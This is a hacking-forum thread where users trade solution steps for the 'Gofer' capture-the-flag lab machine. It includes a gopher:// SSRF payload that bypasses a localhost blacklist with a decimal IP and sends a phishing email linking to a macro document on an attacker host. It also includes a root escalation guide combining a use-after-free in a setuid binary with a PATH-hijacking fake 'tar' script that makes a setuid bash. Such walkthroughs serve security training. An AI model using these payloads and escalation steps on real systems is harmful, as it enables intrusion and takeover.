Gofer - Thread
by chickensaladsand - Sunday July 30, 2023 at 07:10 AM
#31
(Aug 03, 2023, 12:29 PM)not_soEasyExploit Wrote:
(Jul 30, 2023, 07:35 PM)frfrfrfrfrfrf Wrote: try this one : gopher://2130706433:25/xHELO%20gofer.htb%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cjhudson@gofer.htb%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cjhudson@gofer.htb%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%20<a+href%3d'http%3a//<YOUR_IP>/bad.odt>this</a>%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

Hi man, 

why "127.0.0.1:25" is written like this ?  2130706433:25

Thanks
is in decimal mode for bypass, because if you put 127.0.0.1.1:25 you get this answer: 
<!-- Welcome to Gofer proxy -->

<html><body>Blacklisted keyword: /127 !</body></html>
#32
(Aug 03, 2023, 02:08 PM)frfrfrfrfrfrf Wrote:
(Aug 03, 2023, 12:29 PM)not_soEasyExploit Wrote:
(Jul 30, 2023, 07:35 PM)frfrfrfrfrfrf Wrote: try this one : gopher://2130706433:25/xHELO%20gofer.htb%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cjhudson@gofer.htb%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cjhudson@gofer.htb%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%20<a+href%3d'http%3a//<YOUR_IP>/bad.odt>this</a>%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

Hi man, 

why "127.0.0.1:25" is written like this ?  2130706433:25

Thanks
is in decimal mode for bypass, because if you put 127.0.0.1.1:25 you get this answer: 
<!-- Welcome to Gofer proxy -->

<html><body>Blacklisted keyword: /127 !</body></html>

Thanks a lot !
#33
Guide how to get root (Forgive me senior colleagues. But not everyone understands reverse engineering)

Find commands with privileges "root": find / -perm -4000 -type f 2>/dev/null
Finding a program `/usr/local/bin/notes`
Download `notes` to ourselves and analyze with the help of `cutter` or any other program for reverse engineering
On the left, double-click on the `main` function, on the right, the section of code we need will be displayed.
Here we see an offer to make our choice, look below at the options to choose from.
https://ibb.co/KWzVZCy

When we press 1 - create user, the program creates a 40-byte (0x28) memory partition with the first 24 bytes (0x18) for the username, the last 16 bytes (0x10) for the role, which is automatically assigned as `user`.
https://ibb.co/TqzywGr

When we press 3 - delete the user, the program only frees the memory without setting the pointer to zero, so the pointer position still points to the user object that is created when the user is created.
https://ibb.co/12jJMjM

If you then press 4. The program also creates a 40-byte memory section for writing notes.
https://ibb.co/7V28cJm

And so, in this program there is a problem of code logic.
We first create a user, then delete that user, after which the pointer that points to the memory created by the malloc function will remain in the original location, which is the location of the user object.
Then we create a note, the malloc function will create a 40-byte memory area at the user's original location and write the first 24 bytes as the username, and the next bytes as the user's role. 

Case 8 - check if the user is an administrator, and if it is an administrator, then the program will execute the `tar` command: "tar -czvf /root/backups/backup_notes.tar.gz /opt/notes"

And here, too, there is a drawback, the program implicitly calls the tar command without an absolute path, which is a disadvantage of setuid.

The action plan is:
1) You need to create a file called `tar`, for example, in the `tmp` folder with the code:
#!/bin/bash
cp /bin/bash /tmp/bash
chmod +s /tmp/bash

2) Add our `tar` to the $PATH variable
3) Run the program `/usr/local/bin/notes`
Press sequentially 1 (enter any name) -> 3 -> 4 (enter 24 bytes of the name and 16 bytes of the role that we need) -> 8
If you saw the inscription "Access_granted" then you did everything right
4) Run /tmp/bash -p and pick up the root flag
#34
(Aug 03, 2023, 06:29 PM)4ip0k Wrote: Guide how to get root (Forgive me senior colleagues. But not everyone understands reverse engineering)

Find commands with privileges "root": find / -perm -4000 -type f 2>/dev/null
Finding a program `/usr/local/bin/notes`
Download `notes` to ourselves and analyze with the help of `cutter` or any other program for reverse engineering
On the left, double-click on the `main` function, on the right, the section of code we need will be displayed.
Here we see an offer to make our choice, look below at the options to choose from.
https://ibb.co/KWzVZCy

When we press 1 - create user, the program creates a 40-byte (0x28) memory partition with the first 24 bytes (0x18) for the username, the last 16 bytes (0x10) for the role, which is automatically assigned as `user`.
https://ibb.co/TqzywGr

When we press 3 - delete the user, the program only frees the memory without setting the pointer to zero, so the pointer position still points to the user object that is created when the user is created.
https://ibb.co/12jJMjM

If you then press 4. The program also creates a 40-byte memory section for writing notes.
https://ibb.co/7V28cJm

And so, in this program there is a problem of code logic.
We first create a user, then delete that user, after which the pointer that points to the memory created by the malloc function will remain in the original location, which is the location of the user object.
Then we create a note, the malloc function will create a 40-byte memory area at the user's original location and write the first 24 bytes as the username, and the next bytes as the user's role. 

Case 8 - check if the user is an administrator, and if it is an administrator, then the program will execute the `tar` command: "tar -czvf /root/backups/backup_notes.tar.gz /opt/notes"

And here, too, there is a drawback, the program implicitly calls the tar command without an absolute path, which is a disadvantage of setuid.

The action plan is:
1) You need to create a file called `tar`, for example, in the `tmp` folder with the code:
#!/bin/bash
cp /bin/bash /tmp/bash
chmod +s /tmp/bash

2) Add our `tar` to the $PATH variable
3) Run the program `/usr/local/bin/notes`
Press sequentially 1 (enter any name) -> 3 -> 4 (enter 24 bytes of the name and 16 bytes of the role that we need) -> 8
If you saw the inscription "Access_granted" then you did everything right
4) Run /tmp/bash -p and pick up the root flag


Nice! Now i have everything way more clear. I need to sharp more reverse engineering skills.

I don't understand the byte final thing on the note creation. You mean put the payload to grant admin role just by putting the hex code and the bytes? Something like:
000000000000000000000000000000000000000074657374000000000000000000000061646d696e? for test admin? When i use the payload the binary automatically crashes and i can't do anymore.
Or represented with 0x at the start? I don't understand. Can someone explain me? I'll be real glad <3
#35
(Aug 03, 2023, 01:51 PM)betecito Wrote:
(Aug 03, 2023, 01:31 PM)Rafael Wrote: Gracias por tu respuesta pero estoy estancado en el binario lo ejecute le hice ingeniería inversa pero no logre nada podrías echarme una mano please bro

https://infosecwriteups.com/use-after-free-13544be5a921

Great article, thanks for the link!
#36
(Aug 04, 2023, 05:14 PM)mimaf13122 Wrote:
(Aug 03, 2023, 06:29 PM)4ip0k Wrote: Here we see an offer to make our choice, look below at the options to choose from.
https://ibb.co/KWzVZCy

When we press 1 - create user, the program creates a 40-byte (0x28) memory partition with the first 24 bytes (0x18) for the username, the last 16 bytes (0x10) for the role, which is automatically assigned as `user`.
https://ibb.co/TqzywGr

When we press 3 - delete the user, the program only frees the memory without setting the pointer to zero, so the pointer position still points to the user object that is created when the user is created.
https://ibb.co/12jJMjM

If you then press 4. The program also creates a 40-byte memory section for writing notes.
https://ibb.co/7V28cJm
 Hi! Tell me pls what soft is in picture? IDA?

It's `Cutter` link: https://cutter.re/
#37
(Aug 05, 2023, 02:52 PM)robillard Wrote: Thanks a million for the root escalation guide.
I am having trouble with the $PATH and the tar archive.
I'm not able to start "notes" because I don't have permissions. Could somebody help me out with that? Thanks so much

bro, when you want to make a PE in linux, always run things like `linpeas` and `pspy` first
#38
(Aug 05, 2023, 05:39 PM)robillard Wrote: Yeah, my bad. Just ran linpeas and I´m trying to crack the password.
Thanks!

Run pspy64 also!
#39
(Aug 05, 2023, 05:39 PM)robillard Wrote: Yeah, my bad. Just ran linpeas and I´m trying to crack the password.
Thanks!

No need to crack passwords. Monitor `pspy`
#40
Hello guys ! i m able to make working ssrf and call what i want but my macro doesn't trigger anything


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] CPTS 12 FLAGS pulsebreaker 68 1,916 4 hours ago
Last Post: VictorPipeau
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 601 91,514 4 hours ago
Last Post: VictorPipeau
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 371 92,790 5 hours ago
Last Post: phannguyenbaouy1
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 21 2,604 9 hours ago
Last Post: popoler
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 23 2,247 Yesterday, 02:10 PM
Last Post: kkkato

Forum Jump:


 Users browsing this forum: 1 Guest(s)